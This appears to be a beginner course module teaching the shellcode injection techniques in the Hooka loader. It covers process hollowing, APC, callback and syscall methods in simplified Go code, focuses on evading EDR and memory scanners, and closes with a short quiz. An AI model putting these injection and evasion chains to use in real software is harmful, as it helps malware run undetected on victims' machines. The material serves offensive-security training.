Difficulty: Beginner

Module 2: Injection Techniques

Getting code into memory is easy. Getting it there without anyone noticing is the art.

Module Objective

This module covers every injection technique available in Hooka — the 6 CLI-accessible methods and the additional library-only methods. You will learn the difference between self-injection, remote injection, and process-creation-based techniques, understand the API call chains behind each method, and see how Hooka implements them in Go.

1. Injection Fundamentals

Shellcode injection is the process of placing arbitrary machine code into executable memory and transferring control to it. Every injection technique ultimately needs to solve three problems:

The Three Injection Problems

1. Allocate Memory
Get a writable region in the target
2. Write Shellcode
Copy payload bytes into that region
3. Execute
Transfer control to the shellcode

The differences between techniques lie in where the memory is allocated (self vs remote process), how the shellcode is written (direct write vs process memory APIs), and what mechanism triggers execution (new thread, APC, callback, or hijacked thread).

Injection Categories

CategoryDescriptionExamples in Hooka
Self-InjectionShellcode runs in the loader's own process. Simpler, but the loader process itself is suspicious.NtCreateThreadEx (local), UuidFromString, Fibers, EnumSystemLocales, Callbacks
Remote InjectionShellcode is written into another (legitimate) process. More evasive but requires cross-process API calls.CreateRemoteThread, RtlCreateUserThread, NtQueueApcThreadEx
Process CreationA new process is created in a suspended state, modified, then resumed. The shellcode lives in a seemingly clean process.SuspendedProcess, ProcessHollowing

2. SuspendedProcess (Default CLI Method)

This is Hooka's default injection technique when used from the CLI. It creates a new process in a suspended state, writes shellcode into it, and resumes the main thread.

SuspendedProcess Flow

CreateProcessA
CREATE_SUSPENDED flag
VirtualAllocEx
Allocate in target
WriteProcessMemory
Copy shellcode
VirtualProtectEx
RW → RX
ResumeThread
Execute
Go// Hooka's SuspendedProcess injection (simplified)
func SuspendedProcess(shellcode []byte, process string) error {
    // Create target process in suspended state
    si := &syscall.StartupInfo{}
    pi := &syscall.ProcessInformation{}
    err := syscall.CreateProcess(
        nil, syscall.StringToUTF16Ptr(process),
        nil, nil, false,
        CREATE_SUSPENDED,  // 0x00000004
        nil, nil, si, pi,
    )

    // Allocate memory in the remote process
    addr, _ := VirtualAllocEx(pi.Process, 0, len(shellcode),
        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    // Write shellcode
    WriteProcessMemory(pi.Process, addr, shellcode)

    // Change permissions: RW -> RX (avoid RWX)
    VirtualProtectEx(pi.Process, addr, len(shellcode),
        PAGE_EXECUTE_READ, &oldProtect)

    // Resume the suspended thread
    ResumeThread(pi.Thread)
    return nil
}

Why CREATE_SUSPENDED?

Creating the process suspended gives the loader a window to modify the process before any of its code runs. The target process (e.g., svchost.exe or notepad.exe) appears in the process list but has not executed any of its own code yet. After the shellcode is written and permissions are set, resuming the thread starts execution from the shellcode rather than the original entry point.

3. Process Hollowing

Process Hollowing is a more sophisticated variant where the loader replaces the legitimate code of the target process with shellcode. Unlike SuspendedProcess (which allocates new memory), hollowing overwrites the original executable's memory region.

Process Hollowing Walkthrough

CreateProcessA
CREATE_SUSPENDED
ZwQueryInformationProcess
Find PEB address
ReadProcessMemory
Read PEB → ImageBase
WriteProcessMemory
Overwrite entry point
ResumeThread
Execute hollowed code
Go// Process Hollowing - key steps (simplified)
func ProcessHollowing(shellcode []byte, process string) error {
    // Step 1: Create suspended process
    createSuspendedProcess(process, &pi)

    // Step 2: Query PEB location
    var pbi PROCESS_BASIC_INFORMATION
    ZwQueryInformationProcess(pi.Process,
        ProcessBasicInformation, &pbi, ...)

    // Step 3: Read image base from PEB
    // PEB + 0x10 = ImageBaseAddress on x64
    var imageBase uintptr
    ReadProcessMemory(pi.Process,
        pbi.PebBaseAddress + 0x10, &imageBase, ...)

    // Step 4: Read PE header to find entry point
    var peHeader [0x200]byte
    ReadProcessMemory(pi.Process, imageBase, &peHeader, ...)
    entryPointRVA := parsePEEntryPoint(peHeader)

    // Step 5: Write shellcode at entry point
    WriteProcessMemory(pi.Process,
        imageBase + entryPointRVA, shellcode, ...)

    // Step 6: Resume execution
    ResumeThread(pi.Thread)
    return nil
}

Detection Considerations

Process Hollowing is a well-known technique. EDRs look for the telltale pattern of CreateProcess (suspended) followed by ZwQueryInformationProcess and WriteProcessMemory. Hooka mitigates this by optionally combining hollowing with direct syscalls (Module 3) and NTDLL unhooking (Module 4) to avoid triggering the EDR's userland hooks on these functions.

4. NtCreateThreadEx

NtCreateThreadEx is a native NT API function that creates a thread in any process. Unlike the higher-level CreateRemoteThread, it operates at a lower level and can be called via direct syscalls to bypass EDR hooks entirely.

Go// NtCreateThreadEx injection
func NtCreateThreadEx(shellcode []byte) error {
    // Allocate local memory
    addr, _ := VirtualAlloc(0, len(shellcode),
        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    // Copy shellcode
    RtlCopyMemory(addr, shellcode, len(shellcode))

    // Change to executable
    VirtualProtect(addr, len(shellcode),
        PAGE_EXECUTE_READ, &oldProtect)

    // Create thread at shellcode address
    var hThread uintptr
    NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS,   // DesiredAccess
        nil,                  // ObjectAttributes
        currentProcess,       // ProcessHandle (self)
        addr,                 // StartRoutine (shellcode)
        0,                    // Argument
        0,                    // CreateFlags
        0, 0, 0,             // StackSize params
        nil)                  // AttributeList

    WaitForSingleObject(hThread, INFINITE)
    return nil
}

For remote injection, the same function is used but with a handle to the target process instead of currentProcess. Hooka also provides NtCreateThreadExHalos, which combines this injection method with Halo's Gate syscall resolution (covered in Module 3).

5. EtwpCreateEtwThread

This technique abuses an undocumented Windows function: EtwpCreateEtwThread. This function is normally used internally by the Event Tracing for Windows subsystem to create worker threads. By calling it with a shellcode address as the start routine, the loader gets code execution through a mechanism that most EDRs do not monitor.

Go// EtwpCreateEtwThread injection
func EtwpCreateEtwThread(shellcode []byte) error {
    addr, _ := VirtualAlloc(0, len(shellcode),
        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
    RtlCopyMemory(addr, shellcode, len(shellcode))
    VirtualProtect(addr, len(shellcode),
        PAGE_EXECUTE_READ, &oldProtect)

    // Resolve the undocumented function from ntdll
    etwpFunc := GetProcAddress(
        GetModuleHandle("ntdll.dll"),
        "EtwpCreateEtwThread")

    // Call it with shellcode as the thread start
    syscall.SyscallN(etwpFunc, addr, 0)
    return nil
}

Why EtwpCreateEtwThread?

Most EDR products hook NtCreateThreadEx, CreateRemoteThread, and RtlCreateUserThread. Very few monitor EtwpCreateEtwThread because it is not a documented API and is not commonly used for thread creation. This makes it a lower-detection alternative for self-injection scenarios.

6. APC-Based Injection

Asynchronous Procedure Calls (APCs) are a Windows mechanism for queuing work to a specific thread. When a thread enters an alertable wait state (e.g., SleepEx, WaitForSingleObjectEx), any queued APCs execute. Hooka implements two APC variants:

NtQueueApcThreadEx

The native NT variant that queues an APC to a thread in a remote process. The APC points to the shellcode address, so when the target thread becomes alertable, the shellcode runs.

Go// NtQueueApcThreadEx injection
func NtQueueApcThreadEx(shellcode []byte, process string) error {
    // Create suspended process to get a guaranteed alertable thread
    createSuspendedProcess(process, &pi)

    // Allocate and write shellcode in target
    addr := allocateAndWrite(pi.Process, shellcode)

    // Queue APC to the main thread
    NtQueueApcThreadEx(pi.Thread,
        1,     // ApcRoutine type (UserApcReserveHandle for special APC)
        addr,  // APC routine = shellcode
        0,     // Arg1
        0)     // Arg2

    // Resume thread - APC fires when thread becomes alertable
    ResumeThread(pi.Thread)
    return nil
}

QueueUserApc

The higher-level Win32 variant. Functionally similar but uses the documented QueueUserAPC API. Less stealthy than the Nt variant but more reliable across Windows versions.

7. No-RWX Technique

A No-RWX loader never creates memory that is both writable and executable at the same time. This is critical because memory scanners flag PAGE_EXECUTE_READWRITE (0x40) allocations as highly suspicious.

No-RWX Permission Lifecycle

VirtualAlloc
PAGE_READWRITE (RW)
memcpy
Write shellcode
VirtualProtect
PAGE_EXECUTE_READ (RX)
Execute
Shellcode runs as RX

Hooka applies this pattern across all its injection methods. Memory starts as PAGE_READWRITE for the write phase, then transitions to PAGE_EXECUTE_READ before execution. At no point does the memory have all three permissions simultaneously.

RWX vs No-RWX Detection

Tools like Moneta specifically scan for private memory pages with PAGE_EXECUTE_READWRITE protection. By using the RW → RX transition, Hooka avoids this trivial detection. However, note that the VirtualProtect call itself can be monitored — an EDR that hooks NtProtectVirtualMemory will see the permission change. This is why combining No-RWX with direct syscalls (Module 3) provides stronger evasion.

8. Callback-Based Execution

Instead of creating threads, callback-based techniques abuse Windows API functions that accept function pointers. The loader passes the shellcode address as the callback, and Windows calls it as part of the API's normal operation.

UuidFromString

Shellcode is encoded as UUID strings. UuidFromStringA decodes each UUID back into bytes, writing them into an executable heap. A callback function pointer then triggers execution.

Fibers

Windows Fibers are lightweight threads managed in user mode. The loader converts the current thread to a fiber, creates a new fiber pointing to the shellcode, and switches to it:

Go// Fiber-based execution
func FiberInject(shellcode []byte) error {
    addr := allocateAndWriteRX(shellcode)

    // Convert current thread to fiber
    mainFiber := ConvertThreadToFiber(0)

    // Create new fiber with shellcode as start
    scFiber := CreateFiber(0, addr, 0)

    // Switch to shellcode fiber
    SwitchToFiber(scFiber)

    // Shellcode has executed, switch back
    SwitchToFiber(mainFiber)
    return nil
}

EnumSystemLocales

EnumSystemLocalesEx accepts a callback function that it invokes for each locale on the system. If the callback pointer is the shellcode address, the shellcode executes when Windows enumerates the first locale:

Go// EnumSystemLocales callback execution
func EnumSystemLocalesInject(shellcode []byte) error {
    addr := allocateAndWriteRX(shellcode)

    // Windows calls addr() for each system locale
    EnumSystemLocalesEx(addr, LOCALE_ALL, 0, 0)
    return nil
}

Why Callbacks Evade Detection

Callback-based execution avoids the CreateThread / NtCreateThreadEx API calls that EDRs heavily monitor. The execution happens inside a legitimate Windows API function, making the call stack appear normal. The thread was not created to run shellcode — it was created to enumerate locales or convert fibers, and the shellcode execution is a side effect.

9. Remote Injection Variants

CreateRemoteThread

The classic remote injection API. Opens a handle to the target process, allocates memory, writes shellcode, and creates a thread. Well-known and heavily monitored, but included in Hooka's library for completeness.

RtlCreateUserThread

An undocumented ntdll function that creates threads in remote processes. Less monitored than CreateRemoteThread because it bypasses kernel32.

10. Halo's Gate Injection Variants

Hooka provides Halo's Gate-enhanced versions of certain injection methods. These combine the injection technique with Halo's Gate syscall resolution (detailed in Module 3) to bypass EDR hooks on the APIs used during injection:

By resolving system service numbers dynamically and making direct syscalls, these variants bypass any inline hooks that EDRs have placed on the relevant ntdll functions.

11. Complete Technique Comparison

This table summarizes the injection techniques available in Hooka (10 exported library functions plus conceptual groupings):

TechniqueTypeKey APICLIStealth
SuspendedProcessProcess CreationCreateProcessA + ResumeThreadYesMedium
ProcessHollowingProcess CreationZwQueryInformationProcess + WriteProcessMemoryYesMedium
NtCreateThreadExSelf / RemoteNtCreateThreadExYesMedium
EtwpCreateEtwThreadSelfEtwpCreateEtwThread (undocumented)YesHigh
NtQueueApcThreadExRemote (APC)NtQueueApcThreadExYesHigh
NoRwxSelfVirtualAlloc + VirtualProtect (no RWX)YesMedium
QueueUserApcRemote (APC)QueueUserAPCNoMedium
CreateRemoteThreadRemoteCreateRemoteThreadNoLow
RtlCreateUserThreadRemoteRtlCreateUserThread (undocumented)NoMedium
UuidFromStringSelf (Callback)UuidFromStringANoHigh
FibersSelf (Callback)CreateFiber + SwitchToFiberNoHigh
EnumSystemLocalesSelf (Callback)EnumSystemLocalesExNoHigh
Callbacks (generic)Self (Callback)Various Windows callbacksNoHigh
NtCreateThreadExHalosSelf / RemoteNtCreateThreadEx + Halo's GateNoVery High
EnumSystemLocalesHalosSelf (Callback)EnumSystemLocales + Halo's GateNoVery High

12. Choosing an Injection Technique

Decision Framework

When selecting an injection technique, consider these factors:

Injection Decision Tree

Need remote process?
→ Yes
Stealth priority?
High: APC / Low: RemoteThread
→ No
Thread creation OK?
Yes: EtwpCreate / No: Callbacks

Knowledge Check

Q1: What is the key difference between SuspendedProcess injection and Process Hollowing?

A) SuspendedProcess uses DLL injection while Hollowing uses shellcode
B) SuspendedProcess allocates new memory while Hollowing overwrites the original entry point
C) SuspendedProcess is remote while Hollowing is self-injection
D) SuspendedProcess requires admin privileges while Hollowing does not

Q2: Why are callback-based injection techniques (Fibers, EnumSystemLocales) considered stealthier than thread creation?

A) They use encrypted memory
B) They don't require VirtualAlloc
C) They avoid CreateThread/NtCreateThreadEx APIs that EDRs heavily monitor
D) They run shellcode in kernel mode

Q3: What does the No-RWX technique prevent?

A) Memory pages from ever having simultaneous write and execute permissions
B) Shellcode from being encrypted
C) Remote processes from being injected
D) AMSI from scanning the shellcode